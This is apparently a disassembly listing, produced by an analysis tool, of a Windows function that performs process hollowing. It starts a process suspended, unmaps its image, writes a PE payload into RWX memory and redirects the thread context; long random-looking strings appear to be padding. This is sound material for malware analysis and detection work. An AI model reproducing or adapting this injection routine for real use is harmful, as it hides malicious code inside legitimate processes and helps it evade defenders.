Function at 0x402d30
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x413256
mov eax, dword fs:[0]
push eax
sub esp, 0x928
mov eax, dword [0x4630a0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x864], ecx
push 0x400
lea eax, [ebp - 0x810]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x884], ecx
mov edx, dword [ebp - 0x884]
movzx eax, word [edx]
cmp eax, 0x5a4d
je 0x402d95
xor al, al
jmp 0x40322a
push str.IMAGE_DOS_SIGNATURE
mov ecx, dword [ebp - 0x864]
call fcn.00402a90
mov ecx, dword [ebp - 0x884]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x868], edx
mov eax, dword [ebp - 0x868]
cmp dword [eax], 0x4550
je 0x402dcc
xor al, al
jmp 0x40322a
push str.IMAGE_NT_SIGNATURE
mov ecx, dword [ebp - 0x864]
call fcn.00402a90
push 0x44
push 0
lea ecx, [ebp - 0x858]
push ecx
call fcn.00408870
add esp, 0xc
push 0x10
push 0
push 0x465224
call fcn.00408870
add esp, 0xc
push 1
lea ecx, [ebp - 0x814]
call fcn.00403250
lea ecx, [ebp - 0x814]
call fcn.00404010
mov dword [ebp - 4], 0
push 0x41faf4
lea ecx, [ebp - 0x814]
call fcn.00404190
mov edx, dword [ebp + 0xc]
push edx
lea ecx, [ebp - 0x814]
call fcn.00404190
lea ecx, [ebp - 0x814]
call fcn.004041c0
mov dword [ebp - 0x8a4], eax
lea ecx, [ebp - 0x814]
call fcn.00401180
push eax
lea ecx, [ebp - 0x934]
call fcn.00404400
mov dword [ebp - 0x898], eax
mov eax, dword [ebp - 0x898]
mov dword [ebp - 0x894], eax
mov byte [ebp - 4], 1
push 0x465224
lea ecx, [ebp - 0x858]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
mov ecx, dword [ebp - 0x894]
call fcn.00401180
push eax
call fcn.0040895a
add esp, 4
push eax
lea edx, [ebp - 0x810]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x8a0], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x934]
call fcn.00404430
cmp dword [ebp - 0x8a0], 0
je 0x40320b
push str.CREATE_SUSPENDED
mov ecx, dword [ebp - 0x864]
call fcn.00402a90
mov dword [ebp - 0x86c], 0
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x86c], eax
mov eax, dword [ebp - 0x86c]
mov dword [eax], 0x10007
mov dword [ebp - 0x8a8], str.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
mov ecx, dword [ebp - 0x86c]
push ecx
mov edx, dword [0x465228]
push edx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40320b
push 0x421284
mov ecx, dword [ebp - 0x864]
call fcn.00402a90
mov dword [ebp - 0x8ac], str.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
push 0
push 4
lea eax, [ebp - 0x85c]
push eax
mov ecx, dword [ebp - 0x86c]
mov edx, dword [ecx + 0xa4]
add edx, 8
push edx
mov eax, dword [0x465224]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x425124
mov ecx, dword [ebp - 0x864]
call fcn.00402a90
mov ecx, dword [ebp - 0x868]
mov edx, dword [ebp - 0x85c]
cmp edx, dword [ecx + 0x34]
jne 0x402fa6
mov byte [ebp - 0x85d], 1
jmp 0x402fad
mov byte [ebp - 0x85d], 0
mov al, byte [ebp - 0x85d]
mov byte [ebp - 0x86d], al
movzx ecx, byte [ebp - 0x86d]
test ecx, ecx
je 0x40300d
mov edx, dword [0x465224]
mov dword [ebp - 0x89c], edx
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x88c], eax
push str.ZwUnmapViewOfSection
mov eax, dword [ebp - 0x88c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x890], eax
mov ecx, dword [ebp - 0x85c]
push ecx
mov edx, dword [ebp - 0x89c]
push edx
call dword [ebp - 0x890]
push 0x426f6c
mov ecx, dword [ebp - 0x864]
call fcn.00402a90
mov dword [ebp - 0x874], 0
push 0x40
push 0x3000
mov eax, dword [ebp - 0x868]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x868]
mov eax, dword [edx + 0x34]
push eax
mov ecx, dword [0x465224]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x874], eax
cmp dword [ebp - 0x874], 0
je 0x40320b
mov edx, dword [ebp + 8]
mov dword [ebp - 0x8b0], edx
push 0
mov eax, dword [ebp - 0x868]
mov ecx, dword [eax + 0x54]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x874]
push eax
mov ecx, dword [0x465224]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x87c], 0
jmp 0x4030aa
mov edx, dword [ebp - 0x87c]
add edx, 1
mov dword [ebp - 0x87c], edx
mov eax, dword [ebp - 0x868]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0x87c], ecx
jge 0x403115
mov edx, dword [ebp - 0x87c]
imul edx, edx, 0x28
add edx, dword [ebp + 8]
mov eax, dword [ebp - 0x884]
mov ecx, dword [eax + 0x3c]
lea edx, [edx + ecx + 0xf8]
mov dword [ebp - 0x888], edx
push 0
mov eax, dword [ebp - 0x888]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp - 0x888]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 0x888]
mov edx, dword [ebp - 0x874]
add edx, dword [ecx + 0xc]
push edx
mov eax, dword [0x465224]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x40309b
push 0
push 4
mov ecx, dword [ebp - 0x868]
add ecx, 0x34
push ecx
mov edx, dword [ebp - 0x86c]
mov eax, dword [edx + 0xa4]
add eax, 8
push eax
mov ecx, dword [0x465224]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push str.WriteProcessMemory2
mov ecx, dword [ebp - 0x864]
call fcn.00402a90
mov edx, dword [ebp - 0x868]
mov eax, dword [ebp - 0x874]
add eax, dword [edx + 0x28]
mov ecx, dword [ebp - 0x86c]
mov dword [ecx + 0xb0], eax
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x878], eax
mov dword [ebp - 0x880], 0
cmp dword [ebp - 0x878], 0
je 0x4031a7
push str.SetThreadContext
mov edx, dword [ebp - 0x878]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x880], eax
cmp dword [ebp - 0x880], 0
je 0x4031c4
mov eax, dword [ebp - 0x86c]
push eax
mov ecx, dword [0x465228]
push ecx
call dword [ebp - 0x880]
cmp dword [ebp - 0x878], 0
je 0x4031da
mov edx, dword [ebp - 0x878]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push str.va_a_lanzar
mov ecx, dword [ebp - 0x864]
call fcn.00402a90
mov byte [ebp - 0x86f], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x814]
call fcn.00404150
mov al, byte [ebp - 0x86f]
jmp 0x40322a
mov byte [ebp - 0x86e], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x814]
call fcn.00404150
mov al, byte [ebp - 0x86e]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00405d5d
mov esp, ebp
pop ebp
ret 8